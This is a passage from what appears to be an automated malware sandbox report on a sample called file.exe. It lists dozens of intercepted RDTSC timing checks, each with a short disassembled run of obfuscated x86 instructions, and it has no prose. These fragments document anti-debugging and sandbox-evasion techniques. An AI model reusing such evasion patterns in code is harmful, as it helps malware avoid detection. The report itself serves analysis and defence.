esi 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc esi 0x0000005b push esi 0x0000005c ret 0x0000005d pop esi 0x0000005e ret 0x0000005f pushad 0x00000060 movzx ecx, ax 0x00000063 and bh, FFFFFF88h 0x00000066 popad 0x00000067 xchg eax, ebx 0x00000068 push ecx 0x00000069 push edi 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59251A second address: 59253C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF399017D89h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594479 second address: 594512 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF398EAF4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FF398EAF4C8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 jc 00007FF398EAF4E2h 0x0000002c call 00007FF398EAF4D8h 0x00000031 mov si, ax 0x00000034 pop edi 0x00000035 ja 00007FF398EAF4C9h 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007FF398EAF4C8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 0000001Ch 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 jmp 00007FF398EAF4D1h 0x0000005c push 00000000h 0x0000005e sub esi, dword ptr [ebp+122D1BA3h] 0x00000064 push eax 0x00000065 pushad 0x00000066 push edi 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594512 second address: 59451B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59451B second address: 59451F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594FF0 second address: 595044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FF399017D78h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 cld 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FF399017D78h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 push 00000000h 0x00000042 mov edi, dword ptr [ebp+122D2F0Ah] 0x00000048 xchg eax, ebx 0x00000049 push edi 0x0000004a pushad 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597272 second address: 597276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597276 second address: 59727C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5987D2 second address: 5987DC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF398EAF4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5987DC second address: 5987E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597992 second address: 5979B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jng 00007FF398EAF4C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jbe 00007FF398EAF4C6h 0x00000018 jl 00007FF398EAF4C6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5987E1 second address: 59882D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FF399017D7Ch 0x0000000d nop 0x0000000e push 00000000h 0x00000010 pushad 0x00000011 mov esi, dword ptr [ebp+12455CCAh] 0x00000017 mov dword ptr [ebp+12457628h], ecx 0x0000001d popad 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007FF399017D78h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a mov bx, si 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59882D second address: 598834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598834 second address: 59883A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5997B3 second address: 59981F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, ebx 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FF398EAF4C8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007FF398EAF4C8h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FF398EAF4D2h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BA0A second address: 59BA14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF399017D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CB49 second address: 59CB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CB4D second address: 59CB51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CB51 second address: 59CB5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CCDE second address: 59CCE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CCE2 second address: 59CCE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CCE8 second address: 59CD8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FF399017D78h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+12476787h], edi 0x0000002a push dword ptr fs:[00000000h] 0x00000031 add bx, A8A0h 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d jng 00007FF399017D7Ch 0x00000043 mov eax, dword ptr [ebp+122D11E5h] 0x00000049 push 00000000h 0x0000004b push edi 0x0000004c call 00007FF399017D78h 0x00000051 pop edi 0x00000052 mov dword ptr [esp+04h], edi 0x00000056 add dword ptr [esp+04h], 00000019h 0x0000005e inc edi 0x0000005f push edi 0x00000060 ret 0x00000061 pop edi 0x00000062 ret 0x00000063 push FFFFFFFFh 0x00000065 jmp 00007FF399017D7Ah 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FF399017D89h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FB80 second address: 59FB9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FB9E second address: 59FBA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59ED48 second address: 59ED4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FBA2 second address: 59FBC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF399017D82h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59ED4D second address: 59ED53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FBC8 second address: 59FC13 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF399017D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c xor dword ptr [ebp+122D1CAAh], edx 0x00000012 push 00000000h 0x00000014 mov ebx, dword ptr [ebp+122D2990h] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FF399017D78h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov ebx, dword ptr [ebp+122D2EE4h] 0x0000003c push eax 0x0000003d push ebx 0x0000003e push esi 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B760 second address: 54B76B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF398EAF4C6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B76B second address: 54B783 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF399017D78h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF399017D7Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2149 second address: 5A215E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c js 00007FF398EAF4C6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FDEA second address: 59FE0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF399017D86h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FE0B second address: 59FE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FE14 second address: 59FE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A414C second address: 5A4150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4150 second address: 5A4156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6E3C second address: 5A6E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jmp 00007FF398EAF4CAh 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6E51 second address: 5A6E56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5FC6 second address: 5A5FCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8F25 second address: 5A8F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8F29 second address: 5A8F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8F2D second address: 5A8F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A94F9 second address: 5A94FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A94FF second address: 5A9510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9510 second address: 5A958F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, dword ptr [ebp+12457656h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FF398EAF4C8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007FF398EAF4C8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 mov di, bx 0x0000004b mov edi, dword ptr [ebp+12455CCAh] 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 jmp 00007FF398EAF4CCh 0x0000005a pop ebx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A958F second address: 5A9594 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B340A second address: 5B3448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D6h 0x00000007 jmp 00007FF398EAF4D2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007FF398EAF4C8h 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FF398EAF4C6h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B35EA second address: 5B35EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA8C2 second address: 5BA8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB3AF second address: 5BB3BD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF399017D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB3BD second address: 5BB403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jp 00007FF398EAF4DFh 0x00000011 jnc 00007FF398EAF4D9h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jno 00007FF398EAF4C6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB5F7 second address: 5BB5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB5FC second address: 5BB606 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF398EAF4CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C035C second address: 5C0368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0368 second address: 5C036E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C036E second address: 5C037D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FF399017D76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C037D second address: 5C0389 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF398EAF4C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0389 second address: 5C038E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0AFB second address: 5C0B19 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FF398EAF4CCh 0x0000000e popad 0x0000000f js 00007FF398EAF4F6h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0CD4 second address: 5C0CDA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0DFC second address: 5C0E29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF398EAF4D1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3B3C second address: 5C3B40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3B40 second address: 5C3B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4CAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FF398EAF4CAh 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8C4A second address: 5C8C54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8C54 second address: 5C8C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A0EE second address: 58A0F4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A0F4 second address: 58A0F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A0F9 second address: 58A118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF399017D82h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A118 second address: 58A156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FF398EAF4C8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov ecx, esi 0x00000024 add dword ptr [ebp+12455C54h], ebx 0x0000002a lea eax, dword ptr [ebp+12481F11h] 0x00000030 movzx edx, dx 0x00000033 push eax 0x00000034 pushad 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A38D second address: 58A391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A391 second address: 58A39B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF398EAF4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A603 second address: 58A609 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A609 second address: 58A60F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A60F second address: 58A613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A8B6 second address: 58A8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A8BA second address: 58A8E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], esi 0x0000000d mov ch, 60h 0x0000000f nop 0x00000010 jg 00007FF399017D7Eh 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A8E4 second address: 58A8FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF398EAF4CFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A8FD second address: 58A903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A9F5 second address: 58AA06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4CCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AA06 second address: 58AA10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF399017D76h 0x0000000a rdtsc
